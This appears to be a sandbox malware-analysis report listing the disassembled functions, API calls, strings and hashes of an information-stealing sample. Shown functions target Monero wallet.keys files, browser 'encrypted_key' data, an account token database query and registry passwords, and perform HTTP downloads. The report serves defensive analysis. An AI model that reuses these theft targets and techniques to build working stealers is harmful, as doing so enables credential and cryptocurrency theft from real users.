Download Yara Rule

APIs

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

Part of subcall function 00466280: InternetOpenA.WININET(00480DFE,00000001,00000000,00000000,00000000), ref: 004662E1
Part of subcall function 00466280: StrCmpCA.SHLWAPI(?,00E8E2F0), ref: 00466303
Part of subcall function 00466280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00466335
Part of subcall function 00466280: HttpOpenRequestA.WININET(00000000,GET,?,00E8DCF8,00000000,00000000,00400100,00000000), ref: 00466385
Part of subcall function 00466280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004663BF
Part of subcall function 00466280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004663D1

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00475318
lstrlen.KERNEL32(00000000), ref: 0047532F

Part of subcall function 00478E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00478E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00475364
lstrlen.KERNEL32(00000000), ref: 00475383
lstrlen.KERNEL32(00000000), ref: 004753AE

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Strings

ERROR, xrefs: 004753B9
ERROR, xrefs: 0047546F
ERROR, xrefs: 00475432
ERROR, xrefs: 004754A9
ERROR, xrefs: 0047530A

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 13c43f5fe7df8c73ecc01d66f95c7a6805e2c050017e8aacae5ad8d372bbb951
Instruction ID: 2fe3e902d6bc792922afbe2e9f74344d5b77ce85c7558575e8d4d654de74190b
Opcode Fuzzy Hash: 13c43f5fe7df8c73ecc01d66f95c7a6805e2c050017e8aacae5ad8d372bbb951
Instruction Fuzzy Hash: 92514330910108ABCB14FF61CD92AEE7779AF50309F50841EF40E5A591EF786B56CBAB

Function 004712D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 581cf106cdf9f35ded2018c60a2b4e3621f3fd44cf80e0acdbb14573dee8467a
Instruction ID: 2b6689e10eefd8bc022c23e885896fa8661ce6b14fd2b9135fd77e8b6b3e9d36
Opcode Fuzzy Hash: 581cf106cdf9f35ded2018c60a2b4e3621f3fd44cf80e0acdbb14573dee8467a
Instruction Fuzzy Hash: 5DC1A3B59001099BCB14FF60DC89FEE7379BB94304F00859EE50E67141DB78AA95CFA5

Function 00474280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00478DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00478E0B

lstrcat.KERNEL32(?,00000000), ref: 004742EC
lstrcat.KERNEL32(?,00E8DCC8), ref: 0047430B
lstrcat.KERNEL32(?,?), ref: 0047431F
lstrcat.KERNEL32(?,00E8C9D0), ref: 00474333

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 00478D90: GetFileAttributesA.KERNEL32(00000000,?,00461B54,?,?,0048564C,?,?,00480E1F), ref: 00478D9F

Part of subcall function 00469CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00469D39

Part of subcall function 004699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004699EC
Part of subcall function 004699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00469A11
Part of subcall function 004699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00469A31
Part of subcall function 004699C0: ReadFile.KERNEL32(000000FF,?,00000000,0046148F,00000000), ref: 00469A5A
Part of subcall function 004699C0: LocalFree.KERNEL32(0046148F), ref: 00469A90
Part of subcall function 004699C0: CloseHandle.KERNEL32(000000FF), ref: 00469A9A

Part of subcall function 004793C0: GlobalAlloc.KERNEL32(00000000,004743DD,004743DD), ref: 004793D3

StrStrA.SHLWAPI(?,00E8DB30), ref: 004743F3
GlobalFree.KERNEL32(?), ref: 00474512

Part of subcall function 00469AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NF,00000000,00000000), ref: 00469AEF
Part of subcall function 00469AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00464EEE,00000000,?), ref: 00469B01
Part of subcall function 00469AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NF,00000000,00000000), ref: 00469B2A
Part of subcall function 00469AC0: LocalFree.KERNEL32(?,?,?,?,00464EEE,00000000,?), ref: 00469B3F

lstrcat.KERNEL32(?,00000000), ref: 004744A3
StrCmpCA.SHLWAPI(?,004808D1), ref: 004744C0
lstrcat.KERNEL32(00000000,00000000), ref: 004744D2
lstrcat.KERNEL32(00000000,?), ref: 004744E5
lstrcat.KERNEL32(00000000,00480FB8), ref: 004744F4

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 28279776cabc1d4b6d058a3d91639426b05e1fde34f0572c290f56b89104b9c0
Instruction ID: 0a98901c140edc3090691ee55678df183ff54ed2574f89fce41458141683916c
Opcode Fuzzy Hash: 28279776cabc1d4b6d058a3d91639426b05e1fde34f0572c290f56b89104b9c0
Instruction Fuzzy Hash: 6F7137B6900108A7CB54FBE0DC85FEE7379AB88304F04859DF60996181EB78EB55CF95

Function 00461310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004612A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004612B4
Part of subcall function 004612A0: RtlAllocateHeap.NTDLL(00000000), ref: 004612BB
Part of subcall function 004612A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004612D7
Part of subcall function 004612A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004612F5
Part of subcall function 004612A0: RegCloseKey.ADVAPI32(?), ref: 004612FF

lstrcat.KERNEL32(?,00000000), ref: 0046134F
lstrlen.KERNEL32(?), ref: 0046135C
lstrcat.KERNEL32(?,.keys), ref: 00461377

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

Part of subcall function 00478B60: GetSystemTime.KERNEL32(00480E1A,00E89FA8,004805AE,?,?,004613F9,?,0000001A,00480E1A,00000000,?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 00478B86

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00461465

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

Part of subcall function 004699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004699EC
Part of subcall function 004699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00469A11
Part of subcall function 004699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00469A31
Part of subcall function 004699C0: ReadFile.KERNEL32(000000FF,?,00000000,0046148F,00000000), ref: 00469A5A
Part of subcall function 004699C0: LocalFree.KERNEL32(0046148F), ref: 00469A90
Part of subcall function 004699C0: CloseHandle.KERNEL32(000000FF), ref: 00469A9A

DeleteFileA.KERNEL32(00000000), ref: 004614EF

Strings

wallet_path, xrefs: 00461330
\Monero\wallet.keys, xrefs: 0046138D
.keys, xrefs: 0046136B
SOFTWARE\monero-project\monero-core, xrefs: 00461335

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 5d8137543c0bf2ed232dbeb4a48b52dde378563b0e0736c8494cb45adf6226a1
Instruction ID: 7e56af70f846b3dfe2bc7b7b61028d80b1d4ab14262a72d0f5d05e022d499ac7
Opcode Fuzzy Hash: 5d8137543c0bf2ed232dbeb4a48b52dde378563b0e0736c8494cb45adf6226a1
Instruction Fuzzy Hash: 855154B1D1011957CB15FB61DD92BEE733CAB54304F40459EB20E62091EE386B99CFAA

Function 004675D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004672D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0046733A
Part of subcall function 004672D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004673B1
Part of subcall function 004672D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0046740D
Part of subcall function 004672D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00467452
Part of subcall function 004672D0: HeapFree.KERNEL32(00000000), ref: 00467459

lstrcat.KERNEL32(00000000,004817FC), ref: 00467606
lstrcat.KERNEL32(00000000,00000000), ref: 00467648
lstrcat.KERNEL32(00000000, : ), ref: 0046765A
lstrcat.KERNEL32(00000000,00000000), ref: 0046768F
lstrcat.KERNEL32(00000000,00481804), ref: 004676A0
lstrcat.KERNEL32(00000000,00000000), ref: 004676D3
lstrcat.KERNEL32(00000000,00481808), ref: 004676ED
task.LIBCPMTD ref: 004676FB

Strings

: , xrefs: 0046764E

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 4de6a26af43400352b5a83940b09ab4975e8d668481999a0cf4724fc338fd541
Instruction ID: 6b15ab5fc1ace41a475f91619ed96a094a849e6a0a5a92838f6c587c8a159388
Opcode Fuzzy Hash: 4de6a26af43400352b5a83940b09ab4975e8d668481999a0cf4724fc338fd541
Instruction Fuzzy Hash: 16316B71A00109DBCB08FBE5DC95DFE737ABB45305B14551EE102A72A0EB38A942CF66

Function 00478100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00E8DA10,00000000,?,00480E2C,00000000,?,00000000), ref: 00478130
RtlAllocateHeap.NTDLL(00000000), ref: 00478137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00478158
__aulldiv.LIBCMT ref: 00478172
__aulldiv.LIBCMT ref: 00478180
wsprintfA.USER32 ref: 004781AC

Strings

@, xrefs: 0047814D
%d MB, xrefs: 004781A3

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: af2b59f69bd8a45b7adcddad919524f0c41d6fa9ca7792cceefdaa81e021ce07
Instruction ID: 4784acecd9d57207d80e8e9865fbd68bb60a9e09460a3dbc8bb590dbe8701a64
Opcode Fuzzy Hash: af2b59f69bd8a45b7adcddad919524f0c41d6fa9ca7792cceefdaa81e021ce07
Instruction Fuzzy Hash: 23210EB1D44218ABDB00DFD5CC49FAEB779FB44B14F10851AF605BB280D77869018BA9

Function 004660A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

Part of subcall function 004647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00464839
Part of subcall function 004647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00464849

InternetOpenA.WININET(00480DF7,00000001,00000000,00000000,00000000), ref: 0046610F
StrCmpCA.SHLWAPI(?,00E8E2F0), ref: 00466147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0046618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004661B3
InternetReadFile.WININET(?,?,00000400,?), ref: 004661DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0046620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00466249
InternetCloseHandle.WININET(?), ref: 00466253
InternetCloseHandle.WININET(00000000), ref: 00466260

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 973c3ea6f3f7b999bf3fb7c0630d42af7b76418b304d2b5eb91d0512b1fe1596
Instruction ID: 456b947ae918bb55dc7e7c0108a6835d5ba4f3e61a29b63a28b14e24b28a3f68
Opcode Fuzzy Hash: 973c3ea6f3f7b999bf3fb7c0630d42af7b76418b304d2b5eb91d0512b1fe1596
Instruction Fuzzy Hash: B151A8B1900218ABDF20EF90CC45BEF7779FB44305F10849AB605A71C0EB78AA85CF5A

Function 004672D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0046733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004673B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0046740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00467452
HeapFree.KERNEL32(00000000), ref: 00467459
task.LIBCPMTD ref: 00467555

Strings

Password, xrefs: 00467401

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 5372b32669840a926ca3118bc2d6069ee75be04c56f8bbfee4a63143b0460599
Instruction ID: 48fc46eff5e0435770fe4509d71f688159ab422c1701c27c0bc9b52fae7f562b
Opcode Fuzzy Hash: 5372b32669840a926ca3118bc2d6069ee75be04c56f8bbfee4a63143b0460599
Instruction Fuzzy Hash: 78616FB580411C9BDB24DB50CC55BDAB7B8BF44304F0085EAE649A6241EF746FC9CF96

Function 0046BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

lstrlen.KERNEL32(00000000), ref: 0046BC9F

Part of subcall function 00478E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00478E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0046BCCD
lstrlen.KERNEL32(00000000), ref: 0046BDA5
lstrlen.KERNEL32(00000000), ref: 0046BDB9

Strings

AccountTokens, xrefs: 0046BABA
AccountTokens, xrefs: 0046BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0046BBEB
AccountId, xrefs: 0046BCC4

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
